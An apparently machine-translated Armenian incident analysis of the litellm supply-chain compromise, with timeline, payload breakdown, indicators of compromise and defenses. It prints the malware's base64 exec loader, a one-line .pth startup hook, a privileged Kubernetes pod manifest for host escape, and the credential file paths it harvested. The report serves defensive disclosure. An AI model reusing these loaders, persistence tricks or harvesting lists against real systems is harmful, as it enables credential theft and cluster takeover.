LiteLLM մատակարարման շղթայի հարձակում

LiteLLM մատակարարման շղթայի հարձակում. Ինչպես է TeamPCP-ն թաքնված մտցրել արհեստական ​​բանականության ենթակառուցվածքը

Ինչու է: Այս հարցերում

2026 թվականի մարտի 24-ին, Python-ի հայտնի փաթեթը լիթելմ, ունիվերսալ LLM պրոքսի դարպաս, որն օգտագործվում է հազարավորների կողմից enterprises-ը, որը նախատեսված էր OpenAI-ի, Anthropic-ի, Google-ի և AWS Bedrock-ի նման ծրագրերի և արհեստական ​​բանականության մատակարարների միջև երթևեկությունը ուղղորդելու համար, աննկատելիորեն վարակվել էր PyPI-ում: Երկու թունավորված տարբերակներ (1.82.7 և 1.82.8) հրապարակվել են միմյանցից 13 րոպեի ընթացքում՝ կրելով բազմաստիճան բեռ, որը գողացել էր մուտքային տվյալներ, արտանետել ամպային գաղտնիքներ, տարածվել Kubernetes կլաստերների միջև և տեղադրել էր հեռակա կոդի կատարման հնարավորություններով մշտական ​​հետին դուռ:

Մոտավորապես 3.6 միլիոն օրական ներբեռնումներ և ամպային արհեստական ​​ինտելեկտի ենթակառուցվածքների խորը տեղակայմամբ, litellm-ը գտնվում է ժամանակակից հարձակվողների կողմից ցանկալի ամեն ինչի խաչմերուկում՝ բոլոր խոշոր արհեստական ​​ինտելեկտի մատակարարների API բանալիներ, ամպային IAM մուտքագրման տվյալներ, Kubernetes գաղտնիքներ և SSH բանալիներ։

Սակայն լիտելմի փոխզիջումը մեկուսացված իրադարձություն չէր։ Այն մի բանի գագաթնակետն էր։ հնգօրյա, հինգ էկոհամակարգերի արշավ սպառնալիքի գործչի կողմից, որը հայտնի է որպես TeamPCP, մի արշավ, որը սկզբում թունավորեց անվտանգության սկաներները (Aqua Trivy, Checkmarx KICS), ապա օգտագործեց գողացվածը CI/CD հավատարմագրերը կանցնեն npm, OpenVSX և վերջապես PyPI համակարգերի մեջ։ Հարձակվողները զենք դարձրին հենց այն գործիքները, որոնց վրա կազմակերպությունները հույսը դնում են իրենց մատակարարման շղթաները պաշտպանելու համար։

Այս հարձակումը ներկայացնում է քայլ առ քայլ փոփոխություն մատակարարման շղթայի սպառնալիքների բարդության մեջ։ Բազմակի անցումային, խաչաձև էկոհամակարգային դիզայնը վտանգում է անվտանգության գործիքակազմը՝ բարձր արժեքի հասնելու համար։ Արհեստական ​​բանականության ենթակառուցվածք, արտացոլում է պլանավորման և գործառնական հասունության մակարդակ, որը համապատասխանում է ավելի ու ավելի ապրանքային հարձակման գործիքակազմին: Օգտակար բեռները կրկնվել են իրական ժամանակում (ելքային կոդում կան բեռների երեք տարբերակներ, այդ թվում՝ մեկնաբանություններից դուրս մնացած նախորդ տարբերակները), C2 ենթակառուցվածքը գրանցվել է հարձակումից մեկ օր առաջ, և արտանետման տիրույթները ուշադիր ընտրվել են՝ օրինական մատակարարի ենթակառուցվածքը նմանակելու համար: Համակարգվածորեն համապարփակ հավատարմագրերի հավաքիչը, որը ներառում է 15+ կատեգորիա, այդ թվում՝ Cardano ստորագրման բանալիների և WireGuard կոնֆիգուրացիաների նման խորը թիրախներ, ենթադրում է մանրակրկիտ աշխատանքի որոշակի աստիճան, որը մատնանշում է արհեստական ​​բանականության միջոցով չարամիտ ծրագրերի մշակումը որպես ուժի բազմապատկիչ:

Խրոնոլոգիա

Ամսաթիվ (UTC) իրադարձություն
Մարտ 19թ․ TeamPCP-ն կոտրում է Aqua Trivy GitHub Action թեգերը՝ դրանք փոխարինելով վնասակար կոդով, որը դուրս է գալիս համակարգից։ CI/CD գաղտնիքներ հոսանքի ներքևի պահոցներից
Մարտ 21թ․ Փոխզիջումը տարածվում է Checkmarx KICS-ի և AST GitHub Actions-ի վրա՝ օգտագործելով նմանատիպ տեխնիկաներ։
Մարտի 22, 06:35 BerriAI-ն թողարկում է litellm 1.82.6 (վերջին մաքուր տարբերակը) նորմալ միջոցով CI/CD pipeline որն օգտագործում է Trivy-ն անվտանգության սկանավորման համար
Մարտ 23թ․ TeamPCP-ն գրանցում է models.litellm.cloud-ը (արտահոսքային տիրույթ): Վնասված է 66+ npm փաթեթներ և OpenVSX ընդլայնումներ:
Մարտի 24, 10:39 litellm 1.82.7-ը հրապարակվել է PyPI-ում -- օգտակար բեռը ներարկվել է proxy_server.py մոդուլի շրջանակներում։ Կատարվում է ներմուծման ժամանակ
Մարտի 24, 10:52 litellm 1.82.8-ը հրապարակվել է 13 րոպե անց -- ավելացնում է litellm_init.pth, Python-ի ուղու կարգավորման կեռիկ, որը կատարվում է Python-ի յուրաքանչյուր մեկնաբանի գործարկման ժամանակ, այլ ոչ թե միայն litellm ներմուծումների ժամանակ։ Ցույց է տալիս արագ բեռնվածության իտերացիա։
Մարտի 24, ~16:00 PyPI-ն հեռացնում է երկու տարբերակներն էլ համայնքի հաղորդագրություններից հետո։ Տարբերակները ամբողջությամբ ջնջվում են (ոչ թե հանվում) ինդեքսից, չնայած CDN tarball-երը մնում են հասանելի։

Էքսպոզիցիայի պատուհանը՝ մոտավորապես 5.5 ժամ։ Այս ընթացքում ցանկացած pip install litellm, pip install --upgrade litellm, կամ CI/CD pipeline Վերջին տարբերակը քաշելը կկատարեր payload-ը։

Ինչպես է վնասակար ծրագիրը ներխուժել. Կասկադային վարակը

litellm փաթեթը ուղղակիորեն չի կոտրվել։ Հարձակվողը դրան հասել է մի միջոցով։ երկու փուլով մատակարարման շղթայի հարձակում:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM-ի CI/CD pipeline Trivy-ն օգտագործվում էր որպես անվտանգության սկաներ՝ հենց այն գործիքը, որը նախատեսված էր խոցելիությունները հայտնաբերելու համար, ինքնին հարձակման վեկտորն էր։ Քանի որ pipeline հղում կատարեց Trivy-ին փոփոխական պիտակով, այլ ոչ թե ամրացված պիտակով commit SHA-ն, վարակված գործողությունը կատարվեց ավտոմատ կերպով։ Trivy չարամիտ գործողությունը արտահոսեց միջավայրի գաղտնիքները, այդ թվում՝ PYPI_PUBLISH տոկեն, որը TeamPCP-ին տալիս է litellm PyPI նախագծին անմիջական հրապարակման հասանելիություն։

Այս «վտանգի տակ դնել պահակներին» ռազմավարությունը TeamPCP արշավի առանձնահատկությունն է: Նախևառաջ անվտանգության գործիքները (Trivy, Checkmarx KICS) թիրախավորելով՝ հարձակվողները միաժամանակ անջատել են հայտնաբերումը և արտոնյալ մուտք են ստացել դեպի ներքևի մատակարարման շղթաներ:

Տեխնիկական վերլուծություն. Օգտակար բեռը

Ներարկման կետեր

Տարբերակ 1.82.7 — Մոդուլային մակարդակի կատարում litellm/proxy/proxy_server.py (տող 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Այս կոդը գտնվում է մոդուլի տիրույթում՝ բառարանային բառի և բնօրինակի միջև։ showwarning() ֆունկցիա։ Այն անմիջապես կատարվում է, երբ litellm.proxy.proxy_server ներմուծվում է — ինչը տեղի է ունենում litellm-ի պրոքսի ֆունկցիոնալության ցանկացած օգտագործման ժամանակ։

Տարբերակ 1.82.8 — Ավելացված է litellm_init.pth (Python ուղու կարգավորման ֆայլ):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Python .pth ֆայլեր site-packages/ մշակվում են յուրաքանչյուր թարգմանչի մեկնարկի ժամանակ, բայց միայն տողերը, որոնք սկսվում են import կատարվում են որպես կոդ։ Հարձակվողը շահագործում է սա՝ ամբողջ բեռը շղթայելով մեկ import հայտարարություն. import os, subprocess, sys; subprocess.Popen(...)Սա շատ ավելի ագրեսիվ է, քան proxy_server.py ներարկումը. այն գործարկվում է նույնիսկ եթե litellm-ը երբեք չի ներմուծվում, Python-ի յուրաքանչյուր պրոցեսի գործարկման ժամանակ։ pyproject.toml փոփոխվել է՝ այս ֆայլը բաշխման մեջ ներառելու համար։

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Այսպիսով, 1.82.8 տարբերակը ունի երկու անկախ կատարման ուղիներproxy_server.py ներարկումը (ակտիվանում է litellm proxy ներմուծման ժամանակ) և .pth ֆայլը (ակտիվանում է Python-ի ցանկացած գործարկման ժամանակ): Կրկնակի օգտագործումն ինքնին նշանակալի է՝ այն պաշտպանում է միայն երկու ուղուց որևէ մեկի հայտնաբերումից կամ հեռացումից: 1.82.7 տարբերակից ընդամենը 13 րոպե անց ներմուծման ժամանակից մինչև գործարկման ժամանակ կատարվող անցումը ենթադրում է, որ հարձակվողը վերահսկում էր տեղակայման հաջողությունը և արագորեն իտերացիաներ էր կատարում:

Փուլ 1. Համապարփակ հավատարմագրերի հավաքագրում

Վերծանված ներքին սցենարը մանրակրկիտ հավատարմագրման վակուում է։ Այն օգտագործում է os.walk()glob.glob()subprocess.check_output(), և ուղիղ ֆայլը կարդում է՝ ամբողջ համակարգը մաքրելու համար։

կատեգորիա Կառույցների մեջ
Համակարգի վերանորոգում hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; հոսթի բանալիներ՝ /etc/ssh/
Ամպ (AWS) ~/.aws/credentials, ~/.aws/config; IMDS դերի մուտքագրման տվյալները՝ 169.254.169.254Գաղտնիքների մենեջեր ListSecrets; ՍՍՄ DescribeParameters
Ամպ (GCP) ~/.config/gcloud/ (ռեկուրսիվ); $GOOGLE_APPLICATION_CREDENTIALS
Ամպ (Ազուր) ~/.azure/ (ռեկուրսիվ); միջավայրի փոփոխականներ
Կուբերնետես Ծառայողական հաշվի տոկեններ; ca.crtանվանատարածք; kubectl get secrets --all-namespaces; բոլոր գաղտնիքները K8s API-ի միջոցով
Միջավայրի ֆայլեր .env, .env.local, .env.production, .env.development, .env.staging — որոնվել է ռեկուրսիվորեն (խորություն 6) /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
դոկեր ~/.docker/config.json, /kaniko/.docker/config.json
Փաթեթի տոկեններ ~/.npmrc, ~/.vault-token, ~/.netrc
Սայլակ ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB կարգավորումներ
TLS / SSL Մասնավոր բանալիներ՝ /etc/ssl/private/Եկեք կոդավորենք վկայագրերը, բոլորը .pem/.key/.p12/.pfx Ֆայլեր
գնալ ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Ծպտյալ դրամապանակներ Bitcoin, Ethereum բանալիների պահոց, Solana բանալիների զույգեր (վավերացուցիչ, քվեարկություն, խաղադրույք, ծորակ), Cardano ստորագրման բանալիներ, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Shell-ի պատմությունը .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Համակարգի վավերացում /etc/passwd, /etc/shadow, վավերացման գրանցամատյաններ (ընդունված SSH սեսիաներ)
Webhook/API բանալիներ Grep Slack վեբի համարhooks, Discord վեբhooks, API բանալիներ/գաղտնիքներ կարգավորման ֆայլերում
VPN WireGuard-ի կարգավորումները /etc/wireguard/

Այս հավաքիչի շրջանակը հանրագիտարանային է։ Այն թիրախավորում է ոչ միայն ամպային մուտքագրումները, այլև կրիպտոարժույթային դրամապանակները, տվյալների բազայի գաղտնաբառերը, VPN կարգավորումները և այլն։ CI/CD գաղտնիքներ՝ ենթադրելով, որ հարձակվողը մտադիր է դրամայնացնել խոցելի համակարգերը բազմաթիվ վեկտորներով։

Փուլ 2. կոդավորված էքզֆիլտրացիա

Գողացված տվյալները կոդավորվում և դուրս են բերվում հիբրիդային կոդավորման սխեմայի միջոցով՝

  • AES-256-CBC բոլոր հավաքված տվյալների կոդավորումը պատահական 32 բայթանոց սեսիայի բանալիով (միջոցով) openssl enc)
  • RSA-4096 սեսիայի բանալու կոդավորումը՝ օգտագործելով հարձակվողի ներդրված հանրային բանալու կոդավորումը (OAEP լրացում, միջոցով) openssl pkeyutl)
  • Երկու գաղտնագրված տեքստային ֆայլերն էլ փաթեթավորված են որպես tpcp.tar.gz (Այդ tpcp նախածանցը՝ «TeamPCP»՝ հետևողականորեն հայտնվում է ողջ արշավի ընթացքում)
  • HTTPS POST-ը https://models.litellm.cloud/ հետ Content-Type: application/octet-stream

Դոմենը models.litellm.cloud գրանցվել է մարտի 23-ին՝ հարձակումից մեկ օր առաջ, և նախատեսված է օրինական litellm ենթակառուցվածքի հետ միաձուլվելու համար (իրական նախագիծն օգտագործում է litellm.aiՆույնիսկ ցանցային պաշտպանը, որը վերանայում է ելքային երթևեկությունը, կարող է չնշել այն երթևեկությունը, որը, կարծես, litellm-ի սեփական մոդելի վերջնակետն է։

Փուլ 3. Մշտական ​​​​հետանցք (sysmon.py)

Օգտակար բեռը տեղադրում է հարցման հետևի դուռ, որը քողարկվում է որպես համակարգի հեռաչափություն։

  • Ճանապարհ~/.config/sysmon/sysmon.py
  • Ծառայություններիsysmon.service (systemd օգտատիրոջ միավոր, նկարագրված է որպես «Համակարգի հեռաչափման ծառայություն»)
  • ՎարքագիծՍկզբնական 300 վայրկյան քնից հետո, հարցումները https://checkmarx.zone/raw յուրաքանչյուր մոտ 50 րոպեն մեկ
  • կատարումՆերբեռնում է C2-ի կողմից վերադարձված URL-ը դեպի /tmp/pglog, սահմանում է այն կատարվող (chmod 755), այն գործարկում է առանձին նիստում
  • Պետության հետևում/tmp/.pg_state կանխում է նույն բեռի վերբեռնումը
  • ՀամառությունRestart=alwaysRestartSec=10 — գոյատևում է վթարների և վերագործարկումների ժամանակ

Դոմենը checkmarx.zone Checkmarx-ի (անվտանգության ընկերություն) տպագրական սխալի հեղինակ է checkmarx.com), նախագծված է այնպես, որ ցանցային գրանցամատյանները վերանայող SOC վերլուծաբանները տեսնեն այն երթևեկությունը, որը, կարծես, օրինական անվտանգության մատակարար է։ Սա դիտավորյալ խուսափելու տեխնիկա է, որը համապատասխանում է TeamPCP-ի ավելի լայն ռազմավարությանը՝ թաքնվել անվտանգության մատակարարի ապրանքանիշի հետևում։

Փուլ 3բ. Կուբեռնետեսի կողմնային շարժում

Եթե ​​վարակված համակարգն ունի Kubernetes ծառայության հաշվի տվյալներ, վնասակար ծրագիրը թվարկում է բոլոր կլաստերային հանգույցները և տեղակայում է դրանք։ արտոնյալ պատիճներ յուրաքանչյուրին։

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Յուրաքանչյուր պարկուճ՝

  • Գործում է որպես արտոնյալ հետ hostPIDhostNetworkև հոսթինգի ֆայլային համակարգի լիարժեք մուտք
  • Օգտագործում chroot /host նույնը տեղադրելու համար sysmon.py հետին դուռ հոսթի արմատային ֆայլային համակարգի վրա
  • Գրանցվում է որպես համակարգված ծառայություն՝ ապահովելով, որ պոդի ջնջումից հետո պահպանվի դրա կայունությունը։
  • Անունով node-setup-* է kube-system անվանատարածքը կհայտնվի որպես օրինական կլաստերային ենթակառուցվածք

Սա նշանակում է Ա միայնակ վարակված CI/CD K8s մուտք ունեցող վազողը կարող է հանգեցնել կլաստերի բոլոր հանգույցների հետադարձ դռան փակմանը։ — Կուբեռնետեսում litellm-ը որպես պրոքսի օգտագործող կազմակերպությունների համար աղետալի կողմնային շարժման սցենար։

Բեռնվածության էվոլյուցիա (մեկնաբանված տարբերակներ)

131-132 տողերի սկզբնական կոդը պարունակում է երկու մեկնաբանություն չտված նախորդ բեռնվածքի տարբերակներ, որոնք բացահայտում են հարձակվողի մշակման գործընթացը.

  • Բոլոր երեք տարբերակները կիսում են նույն արտահոսքի ենթակառուցվածքը (models.litellm.cloud), RSA-4096 հանրային բանալի, AES-256-CBC + RSA հիբրիդային կոդավորման փաթեթ, և tpcp.tar.gz փաթեթի անվանում
  • Ավելի վաղ տարբերակներ ավելացրեց RC4 կոդավորման շերտ տվյալների հավաքագրման սկրիպտի ներսում, հավաքված տվյալները կոդավորելով արտաքին AES+RSA փաթաթանից առաջ։ Ակտիվ բեռը (տող 130) պարզեցվեց՝ հեռացնելով այս ներքին RC4 շերտը։
  • Նախկին տարբերակները օգտագործում են exec() հետ StringIO գրավում՝ կոլեկտորը գործընթացի մեջ աշխատեցնելու համար, մինչդեռ ակտիվ բեռը օգտագործում է subprocess.run() stdout վերահղմամբ՝ ավելի մաքուր տարանջատում, որը խուսափում է հոսթ պրոցեսի աղտոտումից։
  • Երեք տարբերակներն էլ ուղղված են նույն հավատարմագրերի կատեգորիաներին և հավաքագրման ուղիներին
  • Նախորդ տարբերակներում RC4 ստեղնը սադրիչ վիրավորանք էր, որը համապատասխանում էր դերասանի ուշադրությունը գրավելու վարքագծին Telegram-ում։

Սա բացահայտում է գործողության ընթացքում ակտիվ զարգացում։ Հարձակվողը պարզեցրել է կոդավորման կույտը և բարելավել կատարման մեկուսացումը՝ միաժամանակ պահպանելով հավաքագրման թիրախները և արտանետման ենթակառուցվածքը կայուն։

Փոխզիջման ցուցանիշներ (ՄԿՑ)

Ցանց

Ցուցիչ Տիպ Նպատակ
models.litellm.cloud Դոմեյն Էքզֆիլտրացիայի վերջնակետ (HTTPS POST)
checkmarx.zone Դոմեյն C2 հարցման վերջնակետ (HTTPS GET /raw)

Նշում. Արտաքին հաշվետվությունների հղումներ checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP արշավի KICS նախորդ փուլին։ Այս URL-ը չի գտնվել այստեղ վերլուծված litellm բեռներում։

Փաթեթի հեշեր

Ֆայլ SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Ֆայլային համակարգ

Ցուցիչ Տիպ Նպատակ
~/.config/sysmon/sysmon.py Ֆայլ Մշտական ​​​​հետին դռան սկրիպտ
~/.config/systemd/user/sysmon.service Ֆայլ Systemd-ի համառության միավոր
/tmp/pglog Ֆայլ Ներբեռնված երկրորդ փուլի բինար ֆայլ
/tmp/.pg_state Ֆայլ C2 վիճակի հետևում
litellm_init.pth in site-packages/ Ֆայլ Python-ի մեկնարկային կեռիկ (միայն v1.82.8)
tpcp.tar.gz Ֆայլ Գաղտնագրված արտանետման փաթեթ

Կուբերնետես

Ցուցիչ Տիպ Նպատակ
node-setup-* պատիճներ kube-system Պատիճ Արտոնյալ կողային շարժման պարկուճներ
sysmon.service կլաստերային հանգույցների վրա Ծառայությունների Հոսթինգի մակարդակի կայունություն pod escape-ի միջոցով

Գաղտնագրված

Ցուցիչ Մանրամասներ
Հարձակվողի RSA-4096 հանրային բանալի SHA256 մատնահետք։ bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Ներդրված է բոլոր երեք օգտակար բեռների տարբերակներում. նույն բանալին հաղորդվել է TeamPCP-ի մյուս գործողություններում։
tpcp նախածանց արտեֆակտներում Փաթեթների անվանակոչման կոնվենցիա (tpcp.tar.gz) հետևողական է ողջ քարոզարշավի ընթացքում

Հղում: TeamPCP

Այս արշավի հետևում կանգնած սպառնալիքի գործոնը հետևվում է որպես TeamPCP, որը հայտնի է նաև որպես PCPcat, Persy_PCP, ShellForce և DeadCatx3:

Հայտնի բնութագրեր.

  • Պահպանում է Telegram ալիքները @Persy_PCP և @teampcp որտեղ նրանք ծաղրում էին անվտանգության ընկերություններին
  • Գործում է բազմաթիվ էկոհամակարգերում (GitHub Actions, PyPI, npm, OpenVSX)
  • Օգտագործում է մատակարարին հատուկ typosquat դոմեյններ արշավի յուրաքանչյուր փուլի համար (օրինակ՝ checkmarx.zone Checkmarx-ի համար, models.litellm.cloud լիթելմի համար)
  • Համապատասխան ենթակառուցվածքային մարկերներ՝ նույն RSA բանալիների զույգը, tpcp.tar.gz անվանակոչման կոնվենցիա, tpcp-docs-* GitHub պահոցները օգտագործվում են որպես dead-drop staging
  • Անվտանգության գործիքները թիրախավորում է որպես մուտքի կետեր դեպի ներքևի մատակարարման շղթաներ

Վերագրման վստահությունԲարձր։ Համօգտագործվող RSA հանրային բանալին, tpcp Արտեֆակտների անվանակոչումը, C2 ենթակառուցվածքների համընկնումը և հնգօրյա արշավի ընթացքում գործառնական տեմպը Trivy, KICS, npm, OpenVSX և litellm համակարգերի հետ սերտորեն կապված են նույն գործողի հետ։

ՄոտիվացիաՀավանական է ֆինանսական (կրիպտո դրամապանակների գողություն, ամպային հավատարմագրերի դրամայնացում)՝ զուգորդված հայտնիության հետ (Telegram-ի ծաղր): Հավաստագրերի հավաքագրման լայն շրջանակը՝ AWS IAM-ից մինչև Solana վավերացնող բանալի զույգեր և WireGuard կարգավորումներ, ենթադրում է ֆինանսապես մոտիվացված դերասան, որը ձգտում է յուրաքանչյուր գործարքից առավելագույնի հասցնել ներդրումների վերադարձը:

Հնարավոր արհեստական ​​բանականության օգնությունՀավատարմագրերի հավաքիչը համակարգված կերպով համապարփակ է՝ 15+ կատեգորիաներ, ներառյալ նիշային թիրախներ, ինչպիսիք են Cardano ստորագրման բանալիները, WireGuard կոնֆիգուրացիաները և Kaniko Docker հավատարմագրերը՝ այնպես, որ համապատասխանի արհեստական ​​բանականության օգնությամբ թվարկմանը: Բեռի իտերացիայի արագությունը (երեք տարբերակ տարբեր կոդավորման սխեմաներով), էկոհամակարգերի միջև համակարգումը (5 էկոհամակարգ 5 օրում) և գործառնական OPSEC-ը (վաճառողի կողմից նմանակող դոմեյններ, հիբրիդային կոդավորում, համակարգային պահպանողականություն, որը քողարկվում է որպես հեռաչափություն) ենթադրում են թողունակության այնպիսի մակարդակ, որը կարող է արտացոլել արհեստական ​​բանականության օգնությամբ զարգացումը որպես ուժի բազմապատկիչ: Այս գնահատականը ենթադրական է. հմուտ օպերատորները կարող էին նմանատիպ շրջանակի հասնել առանց արհեստական ​​բանականության գործիքակազմի:

Նոր TTP-ներ և տեխնիկաներ

1. Անվտանգության գործիքների մատակարարման շղթայի թունավորում (T1195.002 տարբերակ)

Անվտանգության սկաներների (Trivy, KICS) կոտրումը որպես ներքևի թիրախներին հասնելու առաջին ցատկ, նոր սրացում է։ Հարձակվողը կոտրել է ոչ միայն գրադարանը, այլև այն գործիքները, որոնք կազմակերպությունները օգտագործում են... հայտնաբերել վնասված գրադարաններ։ Սա ստեղծում է «կույր գոտի». սկաները, որը պետք է որսի չարամիտ կոդը, ինքնին առաքման մեխանիզմն է։

2. Python- ը .pth Ֆայլի կայունություն (T1546)

  litellm_init.pth v1.82.8-ում ներկայացված տեխնիկան հատկապես նենգ է։ Python .pth ֆայլեր site-packages/ մշակվում են թարգմանչի յուրաքանչյուր մեկնարկի ժամանակ. ցանկացած տող, որը սկսվում է import կատարվում է որպես կոդ։ Բեռը շղթայելով մեկ import հայտարարության մեջ հարձակվողը կատարում է Python-ի յուրաքանչյուր պրոցեսում՝ ոչ միայն այն ժամանակ, երբ litellm-ը ներմուծվում է։ Սա նշանակում է, որ օգտակար բեռը գործարկվում է նույնիսկ այն դեպքում, եթե litellm-ը տեղադրված է, բայց երբեք չի օգտագործվել, և այն գոյատևում է վնասված ֆայլը փոխարինող վերականգնման գործողություններից հետո։ .py ֆայլերը՝ առանց ստուգելու .pth ֆայլեր.

3. Կուբեռնետեսի կլաստերի լայն կողմնային շարժում՝ արտոնյալ պոդ տեղակայման միջոցով (T1610, T1611)

Յուրաքանչյուր կլաստերային հանգույցում արտոնյալ պոդերի ավտոմատ ստեղծում՝ hostPIDhostNetwork, host ֆայլային համակարգի միացում, և chroot Պինդենսիվություն տեղադրելու համար՝ կոնտեյների տեղակայումը (T1610) շղթայականորեն միացնում է escape ֆունկցիան հոսթին (T1611)՝ մեկ խախտված աշխատանքային բեռը լիարժեք կլաստերի խախտման վերածելու համար։

4. C2 ենթակառուցվածքի մատակարարի կողմից նմանակում

Օգտագործելով models.litellm.cloud (նմանակում է լիտելմ) և checkmarx.zone (նմանակում է Checkmarx-ը) որպես C2/exfil վերջնակետեր, նախատեսված է ցանցի մոնիթորինգից խուսափելու համար: SOC վերլուծաբանները, որոնք վերանայում են ելքային երթևեկությունը, կտեսնեն HTTPS կապեր այն դոմեյնների հետ, որոնք, կարծես թե, օրինական մատակարարների դոմեյններ են:

5. Արագ թռիչքի ժամանակ օգտակար բեռի վերափոխում

v1.82.7-ի հրապարակումը ներմուծման ժամանակի կատարմամբ, ապա v1.82.8-ի հրապարակումը մեկնարկի ժամանակի կատարմամբ 13 րոպե անց ցույց է տալիս, որ հարձակվողը մոնիթորինգ է անում և հարմարվում իրական ժամանակում: Սկզբնաղբյուր կոդում պահպանված մեկնաբանված օգտակար բեռնվածքի տարբերակները (տարբեր կոդավորման սխեմաներով) հաստատում են գործողության ընթացքում ակտիվ մշակումը:

Ինչ կարելի է անել

Այս հարձակումը շահագործում է վստահությունը յուրաքանչյուր մակարդակում՝ վստահություն անվտանգության գործիքների նկատմամբ, վստահություն փաթեթների գրանցամատյանների նկատմամբ, վստահություն ծանոթ տեսքով դոմեյնների նկատմամբ, վստահություն… CI/CD ավտոմատացում։ Դրա դեմ պաշտպանությունը պահանջում է վստահության այս սահմաններից յուրաքանչյուրի ամրապնդում.

Փաթեթների սպառողների համար

  • Կախվածությունները ամրացրեք հեշով, այլ ոչ թե միայն տարբերակով։ pip install litellm==1.82.6 --hash=sha256:... կկանխեր վարակված տարբերակների տեղադրումը, նույնիսկ եթե դրանք կարճ ժամանակով հայտնվեին որպես վերջին տարբերակ։
  • Օգտագործեք կողպեքի ֆայլերը։ pip-compilepoetry.lock, եւ uv.lock գրանցել ճշգրիտ տարբերակները և հեշերը։ CI/CD պետք է տեղադրվի lockfiles-ից, այլ ոչ թե լողացող տարբերակի նշիչներից։
  • Մոնիտորինգի համար .pth ֆայլեր. Պարբերաբար աուդիտ անցկացնել site-packages/ անսպասելի համար .pth ֆայլեր — դրանք կատարվում են Python-ի յուրաքանչյուր գործարկման ժամանակ և թերագնահատված կայունության մեխանիզմ են։
  • Ներդրեք ելքային ցանցի կառավարման համակարգեր։ Արտահոսքը դեպի models.litellm.cloud և C2 քվեարկություն checkmarx.zone արտադրական միջավայրերում կարող էր որսացվել թույլատրելի ցուցակի վրա հիմնված ելքային ֆիլտրացման միջոցով։

Փաթեթների պահպանողների համար

  • Pin CI/CD գործողությունները commit SHA, ոչ թե պիտակ։ LiteLLM-ի pipeline օգտագործել է Trivy-ն առանց ամրացված տարբերակի։ Եթե այն հղումներ ունենար aquasecurity/trivy-action@<commit-sha> փոխարեն @latest, խախտված գործողությունը չէր կատարվի։
  • Օգտագործեք կարճատև, շրջանակային հրատարակչական տոկեններ։ PyPI-ն աջակցում է վստահելի հրատարակիչներին (OIDC-ի վրա հիմնված) և շրջանակված API տոկեններին։ Արտածվածը PYPI_PUBLISH թոքենը չպետք է ունենար երկարատև, անսահմանափակ հրապարակման հասանելիություն։
  • Միացնել երկփուլանի նույնականացումը PyPI-ում։ Պահանջել 2FA բոլոր սպասարկողների համար և հնարավորության դեպքում օգտագործել սարքային անվտանգության բանալիներ։
  • Ստորագրեք փաթեթներ։ Sigstore/PEP 740 հավաստագրերը թույլ են տալիս սպառողներին ստուգել, ​​որ փաթեթը կառուցվել է սպասվածի համաձայն։ CI/CD pipeline, ոչ թե գողացված տոկենով հարձակվողի կողմից։

Հարթակի օպերատորների համար (PyPI, npm, GitHub)

  • Հայտնաբերել աննորմալ հրապարակման օրինաչափություններ։ Երկու նոր տարբերակներ, որոնք հրապարակվել են 13 րոպե տարբերությամբ, սովորականից տարբեր IP հասցեից կամ թոքենից, պետք է ակտիվացնեն վերանայման համար պահելու կամ ավտոմատ սկանավորման ռեժիմը, նախքան փաթեթը տեղադրելի դառնա։
  • Արագացրեք վստահելի հրատարակիչների ներդրումը։ OIDC-ի վրա հիմնված հրատարակչությունը փաթեթները կապում է որոշակի պահոցների և աշխատանքային հոսքերի հետ, ինչը գողացված տոկենները դարձնում է անօգուտ բնօրինակից դուրս։ CI/CD համատեքստում:
  • Կատարել հրապարակման ժամանակ վնասակար ծրագրերի սկանավորում։ proxy_server.py ֆայլում base64-ով վերծանված օգտակար բեռը կարելի կլինի հայտնաբերել ստատիկ վերլուծության միջոցով հրապարակման պահին։

Էկոհամակարգի համար

  • Անվտանգության գործիքները դիտարկեք որպես կարևորագույն ենթակառուցվածքներ։ Trivy-ն ու Checkmarx KICS-ը օգտագործվում են միլիոնավոր մարդկանց կողմից։ pipelineՆրանց GitHub գործողությունները պետք է ստորագրվեն, ամրացվեն և վերահսկվեն նույն խստությամբ, ինչպես սկանավորված փաթեթները։
  • Ներդրում կատարեք կատարման ժամանակի հայտնաբերման մեջ։ Միայն ստատիկ վերլուծությունը չի կարող բռնել բոլոր խճճման տեխնիկաները։ Փաթեթի տեղադրման կատարման մոնիթորինգ hooks, անսպասելի ցանցային միացումները և կասկածելի ֆայլերին մուտք գործելու ձևերը ապահովում են խորը պաշտպանություն։
